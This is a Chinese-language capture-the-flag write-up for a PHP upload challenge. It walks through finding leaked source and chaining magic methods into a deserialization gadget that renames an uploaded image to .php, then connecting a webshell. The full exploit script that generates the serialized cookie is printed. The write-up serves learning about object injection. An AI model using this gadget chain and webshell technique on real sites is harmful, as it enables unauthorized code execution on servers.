page

首先来注册一个题目说了upload那么应该不会是sql就不管了
然后上传图片马 上传过程抓包能发现user=后面那串怪怪的

解码一下可以看到上传路径和其他的序列化信息

281.PNG

然而没有那么容易连接 也上传不了htaccess

282.PNG

283.PNG

1
2
扫后台拿到www.tar.gz 
用phpstorm打开发现俩断点hint

application/web/controller/Index.php 里的:

284.PNG

首先访问大部分页面例如 index 都会调用 login_check 方法。
该方法会先将传入的用户 Profile 反序列化,而后到数据库中检查相关信息是否一致。
application/web/controller/Register.php 里的:

285.PNG

Register 的析构方法,估计是想判断注没注册,没注册的给调用 check 也就是 Index 的 index 方法,也就是跳到主页了。
上传逻辑那边 先检查是否登录然后判断存在文件否 获取后缀 解析图片判断是否为正常图片 再从历史文件拷贝到目标路径

1
profile.php有_call和_get 俩魔术方法

286.PNG

这俩加上反序列化和析构函数的调用,结合起来就可以操控 Profile 里的参数,控制其中的 upload_img 方法,这样我们就能任意更改文件名。构造一个 Profile 和 Register 类,命名空间 app\web\controller(要不然反序列化会出错,不知道对象实例化的是哪个类)。

1
然后给其 except 成员变量赋值 [‘index’ => ‘img’],代表要是访问 index 这个变量,就会返回 img。而后又给 img 赋值 upload_img,让这个对象被访问不存在的方法时最终调用 upload_img。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

namespace app\web\controller;
error_reporting(0);
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;


public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

}

class Register
{
public $checker;
public $registed;

public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}

}

$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "./upload/e0164d104d6e1a09295cfb0c7c7aa9d2/75c168b671d4ce827fca23907d85f114.png";
$profile->filename = "./upload/e0164d104d6e1a09295cfb0c7c7aa9d2/75c168b671d4ce827fca23907d85f114.php";

$register = new Register();
$register->registed = false;
$register->checker = $profile;

echo urlencode(base64_encode(serialize($register)));

运行这个生成新的序列
把cookie发过去 访问那个目录可以成功解析

287.PNG

然后蚁剑连接就可以了